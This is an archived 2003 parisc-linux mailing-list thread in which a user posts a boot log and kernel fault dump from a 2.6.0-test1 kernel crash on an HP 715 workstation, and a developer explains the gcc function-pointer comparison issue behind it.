X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18991

Hi all,

is there a particular reason gcc, gdb, and userspace
are still in toplevel cvs on parisc-linux.org? They
seem a bit out of date at this point, and though
they're not mentioned faq/cvs.html, they're clearly
visible on cvs.parisc-linux.org. Maybe they should be
moved to obsolete?

Dara

__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.0-test1-pa1 crashes on 715/100
Date: Sat, 19 Jul 2003 21:23:33 +0200
Lines: 405
Approved: news@gmane.org
Message-ID: <3F199AB5.8010602@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------050503030805080500070407"
X-Trace: ger.gmane.org 1416622615 28356 80.91.229.3 (22 Nov 2014 02:16:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 19 13:30:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A7B6482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 13:30:38 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157001091.dialin.heagmedianet.de [213.157.1.91])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h6JJTu8Q012963
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 21:29:59 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18992

This is a multi-part message in MIME format.
--------------050503030805080500070407
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi there!

I tried to run 2.6.0-test1-pa1 on my machine but it crashes right after 
"Freeing unused kernel memory". IAOQ says something bout 
"canonicalize_funcptr_for_compare" so I will give gcc-3.2 a run to see 
how far the kernel will get then.
Greetings,
Ruediger

--------------050503030805080500070407
Content-Type: text/plain;
 name="gandalf-2.6.0.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="gandalf-2.6.0.log"



----------------------------------------------------------------------------
BootRom Version    1.6  
Memory Size:  128 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display mode
DefaultSS                              Reboot and set EEPROM to default values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN> bo pri ipl





Attempting to boot.

Loading Initial Program Loader


IPL successfully loaded


Booting
palo ipl 1.2 root@b2000 Tue Jan 14 13:13:07 MST 2003


Partition Start(MB) End(MB) Id Type


1               1      22   f0 Palo


2              23      64   83 ext2


3              65     194   82 swap


4             195    2046   83 ext2



PALO(F0) partition contains:

    0/vmlinux32 3223985 bytes @ 0x48000


Information: No console specified on kernel command line. This is normal.

PALO will choose the console currently used by firmware (serial).Current command line:

2/vmlinux root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102

 0: 2/vmlinux

 1: root=/dev/sda4

 2: HOME=/

 3: devfs=mount

 4: console=ttyS0

 5: TERM=vt102


Edit which field?

(or 'b' to boot with this command line)? 0

2/vmlinux-2.6.0-test1-pa1

Current command line:

2/vmlinux-2.6.0-test1-pa1 root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102

 0: 2/vmlinux-2.6.0-test1-pa1

 1: root=/dev/sda4

 2: HOME=/

 3: devfs=mount

 4: console=ttyS0

 5: TERM=vt102


Edit which field?

(or 'b' to boot with this command line)? 0 b


Command line for kernel: 'root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.0-test1-pa1'

Selected kernel: /vmlinux-2.6.0-test1-pa1 from partition 2

ELF32 executable

Entry 00100000 first 00100000 n 3

Segment 0 load 00100000 size 2266045 mediaptr 0x1000

Segment 1 load 0032a000 size 409816 mediaptr 0x22b000

Segment 2 load 00390000 size 532608 mediaptr 0x290000

Branching to kernel entry point 0x00100000.  If this is the last

message you see, you may need to switch your console.  This is

a common symptom -- search the FAQ and mailing list at parisc-linux.org


Linux version 2.6.0-test1-pa1 (ruediger@gandalf) (gcc version 3.2.3 20030415 (Debian prerelease)) #1 Fri Jul 18 21:58:57 CEST 2003
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 000060b0 00000481 00000000 00000000 77b661a7 00000000 00000004 00000072 00000072
vers  0000000b
model 9000/715
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
  DMA zone: 32768 pages, LIFO batch:8
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.0-test1-pa1
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126192k available
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
-> /dev
-> /dev/console
-> /root
POSIX conformance testing by UNIFIX
Initializing RT netlink socket
EISA bus registered
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000 [0], versions 0x4, 0x0, 0x77
2. Mirage GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x13, 0x0, 0x85
3. Mirage Core BA (11) at 0xf0100000 [2], versions 0x29, 0x0, 0x81
4. Mirage Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x29, 0x0, 0x82
5. Mirage Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x29, 0x0, 0x8a
6. Mirage Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x29, 0x0, 0x8c
7. Mirage Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x29, 0x0, 0x74
8. Mirage Audio (10) at 0xf0104000 [2/0/8], versions 0x29, 0x0, 0x7b
9. Mirage Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x29, 0x0, 0x83
10. Mirage Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x29, 0x0, 0x84
11. Mirage Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x29, 0x0, 0x84
12. Mirage Wax BA (11) at 0xf0200000 [5], versions 0x13, 0x0, 0x8e
13. Mirage 100 Wax HIL (10) at 0xf0201000 [5/0/1], versions 0x13, 0x0, 0x73
14. Mirage Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x13, 0x0, 0x8c
15. Mirage 100 (0) at 0xfffbe000 [8], versions 0x60b, 0x0, 0x4
16. Memory (1) at 0xfffbf000 [9], versions 0x4b, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
Wax at 0xf0200000 found.
BIO: pool of 256 setup, 14Kb (56 bytes/bio)
biovec pool[0]:   1 bvecs: 244 entries (12 bytes)
biovec pool[1]:   4 bvecs: 244 entries (48 bytes)
biovec pool[2]:  16 bvecs: 244 entries (192 bytes)
biovec pool[3]:  64 bvecs: 244 entries (768 bytes)
biovec pool[4]: 128 bvecs: 122 entries (1536 bytes)
biovec pool[5]: 256 bvecs:  61 entries (3072 bytes)
SCSI subsystem initialized
pty: 256 Unix98 ptys configured
Journalled Block Device driver loaded
devfs: v1.22 (20021013) Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x1
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Serial: 8250/16550 driver $Revision: 1.90 $ IRQ sharing enabled
Gecko-style soft power switch enabled.
lp: driver loaded but no devices found
Generic RTC Driver v1.07
ttyS0 at MMIO 0xf0105800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xf0202800 (irq = 121) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 7A DC 08 IRQ 87.
82596.c $Revision: 1.29 $
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2
scsi0 : LASI SCSI 53c700
anticipatory scheduling elevator
scsi0: (2:0) Synchronous at offset 8, period 100ns
  Vendor: PLEXTOR   Model: CD-ROM PX-20TS    Rev: 1.01
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi0: (3:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST32430N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
st: Version 20030622, fixed bufsize 32768, s/g segs 256
scsi0: (3:0) Enabling Tag Command Queuing
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
SCSI device sda: drive cache: none
 /dev/scsi/host0/bus0/target3/lun0: p1 p2 p3 p4
Attached scsi disk sda at scsi0, channel 0, id 3, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Attached scsi generic sg0 at scsi0, channel 0, id 2, lun 0,  type 5
Attached scsi generic sg1 at scsi0, channel 0, id 3, lun 0,  type 0
STI GSC/PCI core graphics driver Version 0.9a
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071A
STI word mode ROM at f0024000, hpa at f8000000
STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1024
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
mice: PS/2 mouse device common for all mice
Keyboard initialization sequence failled
input: PS/2 keyboard port at 0xf0108000 (irq 69) found and attached
input: PS/2 mouse port at 0xf0108100 (irq 69) found and attached
NET4: Linux TCP/IP 1.0 for NET4.0
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Mounted devfs on /dev
Freeing unused kernel memory: 524k freed

Stack Dump:
 10590598:  10590598 10343200 17f22200 00000001
 10590588:  10030110 17eef620 0900deee 0900deee
 10590578:  1033f000 10597980 10419810 00027774
 10590568:  00000000 00000008 00000001 1032c810
 10590558:  10419810 10342810 10419e44 10590200
 10590548:  0000000f 00000000 00027550 0000000f
 10590538:  00000010 00000010 00000000 1010631c
 10590528:  0000000f 00000148 103f7bcc 10590488
 10590518:  00000008 10343124 00000201 00000001
 10590508:  10343468 10343010 00000010 faf00810
 105904f8:  0000005f 00000010 00000010 00000050
 105904e8:  00000010 00000010 00000001 10419e44
 105904d8:  17eef620 00027550 1032a010 0000000e
 105904c8:  105b6534 103f7b40 10590480 0000005f
 105904b8:  00000010 00000010 00000050 10121658
 105904a8:  0000000f 00000148 103f7bcc 10590408
 10590498:  00000000 10343448 17eef620 0000000f
 10590488:  10030110 10343124 00000000 00000000
 10590478:  17fd0000 17ee7200 17ee7200 101b0b8c
 10590468:  17ed966c 10590210 10590108 17ed9600
 10590458:  17ed9600 10404260 00000000 17ee7340
 10590448:  00000000 17ee7340 100837a0 17eef668
 10590438:  103f7bcc 103f7bcc 10590414 1010a088
 10590428:  10121e1c 10597670 00000000 00000001
 10590418:  10590414 10590414 10121e1c 10590388
 10590408:  00000000 10587348 105881d0 00000000
 105903f8:  00000000 17f3e060 17ee7340 1013a4f0
 105903e8:  17f3e0cc 10590210 10590108 00000000
 105903d8:  1033f000 10590210 00027550 00000000
 105903c8:  0c601094 0000000d 105900d4 1044c730
 105903b8:  00000000 40181838 10401604 101e650c
 105903a8:  101e6508 00000000 00000000 00000000
 10590398:  00000000 00000000 00000000 00000001
 10590388:  00000000 00000001 00000001 00000000
 10590378:  00000000 10590108 00000003 101b0a64
 10590368:  00000006 00000000 00000000 00000000
 10590358:  05b6719b 00000000 00000002 00000000
 10590348:  10590108 17eef820 17ee6420 10343124
 10590338:  000014f4 000006fc 00000df8 101567a4
 10590328:  00000000 00000001 00000001 f0000704
 10590318:  f000b858 00000002 0000000f 10340810
 10590308:  ffffe836 10340810 0000000f 00000000
 105902f8:  10590140 00000064 10390000 00000000
 105902e8:  00000002 00000000 00000002 10419e44
 105902d8:  10342810 00000000 00000002 00000000
 105902c8:  00000002 00000002 1033b020 f0000704
 105902b8:  00000001 00000001 00000000 1016955c
 105902a8:  1032c810 10419810 10342810 00000000
 10590298:  00000000 00000000 00000000 00000000
 10590288:  00000000 00000000 00000000 40061097
 10590278:  10590200 00000400 00000000 1032a010
 10590268:  00027552 00000400 00000000 00000400
 10590258:  00000000 101e64d8 00027552 1032a010
 10590248:  0900deee 1033f000 10597670 10419810
 10590238:  00027774 00000000 105900d4 00000001
 10590228:  1033f000 00026f74 105b6540 105900c8
 10590218:  105b6534 0000000e 1032a010 00027550
 10590208:  10130070 10383010 0006000e f0000704
 105901f8:  00000001 10597670 00000000 10166bb8
 105901e8:  00000004 faf002c8 1032a010 0000000c
 105901d8:  00000000 ffffffe0 10597670 00000040
 105901c8:  105b6854 0000000d 00000000 10419810
 105901b8:  10597670 1033f000 0900deee 10130070
 105901a8:  00020002 00000000 00020002 faf00350

Kernel addresses on the stack:
 [<10234de8>] scsi_request_fn+0x54/0x2ec
 [<10106074>] parisc_terminate+0x5c/0xa8
 [<1010631c>] handle_interruption+0x25c/0x56c
 [<10121658>] io_schedule+0x3c/0x68
 [<101b0b8c>] new_devfs_lookup_struct+0x18/0x50
 [<1010a088>] intr_check_sig+0x0/0xc
 [<1013a4f0>] filemap_nopage+0x2b4/0x3cc
 [<101e650c>] __canonicalize_funcptr_for_compare+0x34/0x128
 [<101b0a64>] devfs_open+0xa4/0xd4
 [<101567a4>] dentry_open+0x12c/0x1b0
 [<1016955c>] locate_fd+0x120/0x15c
 [<10166bb8>] open_namei+0xac/0x4b8
 [<10130070>] do_sigaction+0xf0/0x28c
 [<10106210>] handle_interruption+0x150/0x56c
 [<10130568>] sys_rt_sigaction+0x80/0xb4
 [<1010afe8>] syscall_exit+0x0/0x28
 [<1010a088>] intr_check_sig+0x0/0xc


Kernel Fault: Code=15 regs=10590200 (Addr=00027550)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001110 Not tainted
r00-03  00000000 10383010 10130070 00027550
r04-07  1032a010 0000000e 105b6534 105900c8
r08-11  105b6540 00026f74 1033f000 00000001
r12-15  105900d4 00000000 00027774 10419810
r16-19  10597670 1033f000 0900deee 1032a010
r20-23  00027552 101e64d8 00000000 00000400
r24-27  00000000 00000400 00027552 1032a010
r28-31  00000000 00000400 10590200 40061097
sr0-3   00000001 00000001 00000000 00000001
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101e6508 101e650c
 IIR: 0c601094    ISR: 00000000  IOR: 00027550
 CPU:        0   CR30: 10590000 CR31: 10386000
 ORIG_R28: 00000000
 IAOQ[0]: __canonicalize_funcptr_for_compare+0x30/0x128
 IAOQ[1]: __canonicalize_funcptr_for_compare+0x34/0x128
 RP(r2): do_sigaction+0xf0/0x28c


--------------050503030805080500070407--



From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test1-pa1 crashes on 715/100
Date: Sat, 19 Jul 2003 16:12:52 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200307192012.h6JKCqCd002021@hiauly1.hia.nrc.ca>
References: <3F199AB5.8010602@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622615 28359 80.91.229.3 (22 Nov 2014 02:16:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rscholz@hrzpub.tu-darmstadt.de (Ruediger Scholz)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 19 14:12:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45D95482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 14:12:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h6JKCqgL002022;
	Sat, 19 Jul 2003 16:12:53 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h6JKCqCd002021;
	Sat, 19 Jul 2003 16:12:52 -0400 (EDT)
In-Reply-To: <3F199AB5.8010602@hrzpub.tu-darmstadt.de> from "Ruediger Scholz" at Jul 19, 2003 09:23:33 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18993

> I tried to run 2.6.0-test1-pa1 on my machine but it crashes right after 
> "Freeing unused kernel memory". IAOQ says something bout 
> "canonicalize_funcptr_for_compare" so I will give gcc-3.2 a run to see 
> how far the kernel will get then.

Check the list for a kernel patch to avoid this.  The 3.2 branch has
canonicalize_funcptr_for_compare.  Debian 3.0.4 doesn't.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test1-pa1 crashes on 715/100
Date: Sat, 19 Jul 2003 22:17:58 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <3F19A776.2040001@hrzpub.tu-darmstadt.de>
References: <200307192012.h6JKCqCd002021@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622615 28362 80.91.229.3 (22 Nov 2014 02:16:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:55 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 19 14:24:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC4C2482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 14:24:33 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157011042.dialin.heagmedianet.de [213.157.11.42])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h6JKOLVB023544
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO);
	Sat, 19 Jul 2003 22:24:24 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <200307192012.h6JKCqCd002021@hiauly1.hia.nrc.ca>
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18994

John David Anglin schrieb:

>Check the list for a kernel patch to avoid this.  The 3.2 branch has
>canonicalize_funcptr_for_compare.  Debian 3.0.4 doesn't.
>
But it was accidently compiled with gcc-3.3.1. Is this kernelpatch also 
for gcc-3.3?

>
>Dave
>  
>




From - Thu Nov 08 21:28:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test1-pa1 crashes on 715/100
Date: Sat, 19 Jul 2003 16:43:16 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200307192043.h6JKhHvH002128@hiauly1.hia.nrc.ca>
References: <3F19A776.2040001@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622616 28364 80.91.229.3 (22 Nov 2014 02:16:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rscholz@hrzpub.tu-darmstadt.de (Ruediger Scholz)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 19 14:43:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FDDC482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jul 2003 14:43:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h6JKhHgL002130;
	Sat, 19 Jul 2003 16:43:18 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h6JKhHvH002128;
	Sat, 19 Jul 2003 16:43:17 -0400 (EDT)
In-Reply-To: <3F19A776.2040001@hrzpub.tu-darmstadt.de> from "Ruediger Scholz" at Jul 19, 2003 10:17:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18995

> >Check the list for a kernel patch to avoid this.  The 3.2 branch has
> >canonicalize_funcptr_for_compare.  Debian 3.0.4 doesn't.
> >
> But it was accidently compiled with gcc-3.3.1. Is this kernelpatch also 
> for gcc-3.3?

All hppa-linux versions from 3.2 on have canonicalize_funcptr_for_compare.
This fixes the comparison of function pointers in user space.  However,
the version of canonicalize_funcptr_for_compare in libgcc.a isn't suitable
for the kernel.

This arises because function pointers are implemented using pointers
to non-unique function descriptors.  -1 to 4095 are also special.
This is allowed in the C standard but the current kernel code doesn't
take this into account when comparing function pointers.  The only
other linux port to use function descriptors is ia64 and I believe
that its function pointers are unique, so no special code is needed
to resolve the pointers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


